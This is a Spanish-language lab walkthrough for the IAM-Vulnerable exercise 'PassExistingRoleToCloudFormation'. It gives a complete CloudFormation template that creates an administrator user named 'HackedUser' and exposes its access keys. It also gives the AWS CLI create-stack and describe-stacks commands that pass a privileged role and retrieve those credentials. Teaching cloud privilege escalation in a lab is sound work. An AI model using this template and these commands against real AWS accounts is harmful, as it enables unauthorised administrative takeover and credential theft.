PassExistingRoleToCloudFormation
Lab: IAM-VULNERABLE
Un atacante con los permisos de iam:PassRole y cloudformation:CreateStack podría aumentar sus privilegios mediante la creación de una plantilla de CloudFormation que realizará acciones y creará recursos utilizando los permisos del rol que se pasó al crear una pila de CloudFormation
Configuración inicial
Usuario del laboratorio: privesc20-PassExistingRoleToCloudFormation-user Con las siguientes políticas

Y configurar las llaves de acceso con AWS CLI\

Explotación
En este escenario, tenemos que aprovechar del privilegio de cloudformation:CreateStack para crear un stack que tendrá lo necesario para escalar privilegios. Posteriormente, utilizaremos el permiso cloudformation:DescribeStacks para visualizar información relacionada al stack malicioso.
No hay una serie de pasos específicos para escalar privilegios mediante el uso de CloudFormation. Ya que el atacante puede indicarle a CloudFormation que active cualquier recurso de AWS. En pocas palabras, se puede utilizar Cloudformation para escalar privilegios de diversas maneras como, por ejemplo, creando un nuevo usuario con permisos de administrador como se usa en el ejemplo a continuación.
Para este ejercicio se requiere de una plantilla para crear un usuario con privilegios de administrador:
{
"Resources": {
"HackedUser": {
"Type": "AWS::IAM::User"
},
"AdminPolicy": {
"Type": "AWS::IAM::ManagedPolicy",
"Properties": {
"Description" : "This policy allows all actions on all resources.",
"PolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"*"
],
"Resource": "*"
}
]
},
"Users": [{
"Ref": "HackedUser"
}]
}
},
"MyUserKeys": {
"Type": "AWS::IAM::AccessKey",
"Properties": {
"UserName": {
"Ref": "HackedUser"
}
}
}
},
"Outputs": {
"AccessKey": {
"Value": {
"Ref": "MyUserKeys"
},
"Description": "Access Key ID of Admin User"
},
"SecretKey": {
"Value": {
"Fn::GetAtt": [
"MyUserKeys",
"SecretAccessKey"
]
},
"Description": "Secret Key of Admin User"
}
}
}
Despues usando el comomando cloudformation create-stack se crea un stack con el parámetro --role para hace ruso de PassRole al servicio.
aws cloudformation create-stack --stack-name privesc --template-body file:///home/user/IAMCreateUserTemplate.json --role arn:aws:iam::ID_account:role/privesc-high-priv-service-role --capabilities CAPABILITY_IAM --profile privesc20

En la evidencia previa, podemos apreciar el valor del StackId que fue retornado después de ejecutar el comando para crear el stack malicioso. Ahora que hemos creado nuestro stack malicioso, vamos aprovechar nuestro otro privilegio de cloudformation:DescribeStacks para visualizar el outputkey y posteriormente autenticarnos con estas credenciales.
aws cloudformation describe-stacks --stack-name arn:aws:cloudformation:us-east-1:ID_Account:stack/privesc --profile privesc20

En la imagen se muestra la correcta creación del stack junto con las credenciales de acceso del usuario admin creado. se procede a utilizar esas llaves de acceso

Usando estas credenciales se listan las capacidades del usuario creado

Como se observa, el usuario HackedUser, tiene políticas de full administrador, habiendo comprometido y escalado privilegios de manera correcta.
Última actualización